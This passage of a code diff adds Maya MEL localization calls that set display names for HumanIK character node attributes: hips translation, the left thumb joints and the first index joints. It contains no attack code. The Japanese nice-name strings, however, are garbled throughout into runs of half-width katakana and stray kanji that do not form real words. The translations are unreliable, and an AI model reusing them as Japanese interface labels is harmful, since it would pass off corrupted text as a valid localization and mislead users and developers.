"HIKCharacterNode", "HipsTranslationRotateOrder", "ナイソニスメニミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxis", "ナイソニスメニミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxisx", "ナイソニスメニミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxisy", "ナイソニスメニミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxisz", "ナイソニスメニミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrient", "ナイソニスメニケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrientx", "ナイソニスメニケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrienty", "ナイソニスメニケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrientz", "ナイソニスメニケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimit", "ナイソニスメニラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitx", "ナイソニスメニラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimity", "ナイソニスメニラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitz", "ナイソニスメニラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimit", "ナイソニスメニラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitx", "ナイソニスメニラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimity", "ナイソニスメニラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitz", "ナイソニスメニラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitEnablex", "ニモテナイソニスメニラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitEnabley", "ニモテナイソニスメニラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitEnablez", "ニモテナイソニスメニラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitEnablex", "ニモテナイソニスメニラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitEnabley", "ニモテナイソニスメニラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitEnablez", "ニモテナイソニスメニラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1", "ラハヨトエヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1T", "ラハヨトエヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Tx", "ラハヨトエヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Ty", "ラハヨトエヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Tz", "ラハヨトエヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1R", "ラハヨトエヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Rx", "ラハヨトエヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Ry", "ラハヨトエヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Rz", "ラハヨトエヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1S", "ラハヨトエヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Sx", "ラハヨトエヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Sy", "ラハヨトエヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Sz", "ラハヨトエヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", "ラハヨトエヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxis", "ラハヨトエヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxisx", "ラハヨトエヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxisy", "ラハヨトエヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxisz", "ラハヨトエヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrient", "ラハヨトエヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrientx", "ラハヨトエヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrienty", "ラハヨトエヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrientz", "ラハヨトエヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimit", "ラハヨトエヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitx", "ラハヨトエヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimity", "ラハヨトエヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitz", "ラハヨトエヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimit", "ラハヨトエヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitx", "ラハヨトエヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimity", "ラハヨトエヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitz", "ラハヨトエヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitEnablex", "ニモテラハヨトエヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitEnabley", "ニモテラハヨトエヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitEnablez", "ニモテラハヨトエヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitEnablex", "ニモテラハヨトエヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitEnabley", "ニモテラハヨトエヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitEnablez", "ニモテラハヨトエヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2", "ラハヨトエヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2T", "ラハヨトエヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Tx", "ラハヨトエヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Ty", "ラハヨトエヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Tz", "ラハヨトエヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2R", "ラハヨトエヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Rx", "ラハヨトエヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Ry", "ラハヨトエヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Rz", "ラハヨトエヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2S", "ラハヨトエヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Sx", "ラハヨトエヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Sy", "ラハヨトエヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Sz", "ラハヨトエヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", "ラハヨトエヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxis", "ラハヨトエヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxisx", "ラハヨトエヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxisy", "ラハヨトエヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxisz", "ラハヨトエヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrient", "ラハヨトエヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrientx", "ラハヨトエヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrienty", "ラハヨトエヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrientz", "ラハヨトエヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimit", "ラハヨトエヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitx", "ラハヨトエヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimity", "ラハヨトエヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitz", "ラハヨトエヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimit", "ラハヨトエヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitx", "ラハヨトエヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimity", "ラハヨトエヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitz", "ラハヨトエヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitEnablex", "ニモテラハヨトエヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitEnabley", "ニモテラハヨトエヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitEnablez", "ニモテラハヨトエヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitEnablex", "ニモテラハヨトエヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitEnabley", "ニモテラハヨトエヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitEnablez", "ニモテラハヨトエヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3", "ラハヨトエヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3T", "ラハヨトエヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Tx", "ラハヨトエヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Ty", "ラハヨトエヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Tz", "ラハヨトエヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3R", "ラハヨトエヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Rx", "ラハヨトエヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Ry", "ラハヨトエヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Rz", "ラハヨトエヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3S", "ラハヨトエヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Sx", "ラハヨトエヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Sy", "ラハヨトエヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Sz", "ラハヨトエヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", "ラハヨトエヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxis", "ラハヨトエヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxisx", "ラハヨトエヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxisy", "ラハヨトエヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxisz", "ラハヨトエヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrient", "ラハヨトエヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrientx", "ラハヨトエヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrienty", "ラハヨトエヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrientz", "ラハヨトエヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimit", "ラハヨトエヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitx", "ラハヨトエヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimity", "ラハヨトエヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitz", "ラハヨトエヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimit", "ラハヨトエヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitx", "ラハヨトエヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimity", "ラハヨトエヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitz", "ラハヨトエヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitEnablex", "ニモテラハヨトエヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitEnabley", "ニモテラハヨトエヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitEnablez", "ニモテラハヨトエヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitEnablex", "ニモテラハヨトエヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitEnabley", "ニモテラハヨトエヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitEnablez", "ニモテラハヨトエヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4", "ラハヨトエヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4T", "ラハヨトエヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Tx", "ラハヨトエヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Ty", "ラハヨトエヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Tz", "ラハヨトエヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4R", "ラハヨトエヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Rx", "ラハヨトエヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Ry", "ラハヨトエヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Rz", "ラハヨトエヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4S", "ラハヨトエヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Sx", "ラハヨトエヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Sy", "ラハヨトエヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Sz", "ラハヨトエヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", "ラハヨトエヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxis", "ラハヨトエヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxisx", "ラハヨトエヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxisy", "ラハヨトエヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxisz", "ラハヨトエヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrient", "ラハヨトエヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrientx", "ラハヨトエヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrienty", "ラハヨトエヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrientz", "ラハヨトエヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimit", "ラハヨトエヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitx", "ラハヨトエヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimity", "ラハヨトエヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitz", "ラハヨトエヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimit", "ラハヨトエヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitx", "ラハヨトエヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimity", "ラハヨトエヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitz", "ラハヨトエヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitEnablex", "ニモテラハヨトエヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitEnabley", "ニモテラハヨトエヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitEnablez", "ニモテラハヨトエヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitEnablex", "ニモテラハヨトエヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitEnabley", "ニモテラハヨトエヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitEnablez", "ニモテラハヨトエヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1", "ラハヨハウヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1T", "ラハヨハウヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Tx", "ラハヨハウヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Ty", "ラハヨハウヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Tz", "ラハヨハウヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1R", "ラハヨハウヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Rx", "ラハヨハウヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Ry", "ラハヨハウヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Rz", "ラハヨハウヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1S", "ラハヨハウヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Sx", "ラハヨハウヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Sy", "ラハヨハウヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Sz", "ラハヨハウヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", "ラハヨハウヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxis", "ラハヨハウヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxisx", "ラハヨハウヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxisy", "ラハヨハウヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxisz", "ラハヨハウヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrient", "ラハヨハウヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrientx", "ラハヨハウヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrienty", "ラハヨハウヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrientz", "ラハヨハウヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimit", "ラハヨハウヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitx", "ラハヨハウヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimity", "ラハヨハウヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitz", "ラハヨハウヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimit", "ラハヨハウヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitx", "ラハヨハウヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimity", "ラハヨハウヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitz", "ラハヨハウヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitEnablex", "ニモテラハヨハウヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitEnabley", "ニモテラハヨハウヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitEnablez", "ニモテラハヨハウヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitEnablex", "ニモテラハヨハウヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitEnabley", "ニモテラハヨハウヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitEnablez", "ニモテラハヨハウヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2", "ラハヨハウヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2T", "ラハヨハウヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Tx", "ラハヨハウヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Ty", "ラハヨハウヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Tz", "ラハヨハウヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2R", "ラハヨハウヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Rx", "ラハヨハウヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Ry", "ラハヨハウヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Rz", "ラハヨハウヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2S", "ラハヨハウヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Sx", "ラハヨハウヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Sy", "ラハヨハウヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Sz", "ラハヨハウヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", "ラハヨハウヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxis", "ラハヨハウヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxisx", "ラハヨハウヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxisy", "ラハヨハウヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", 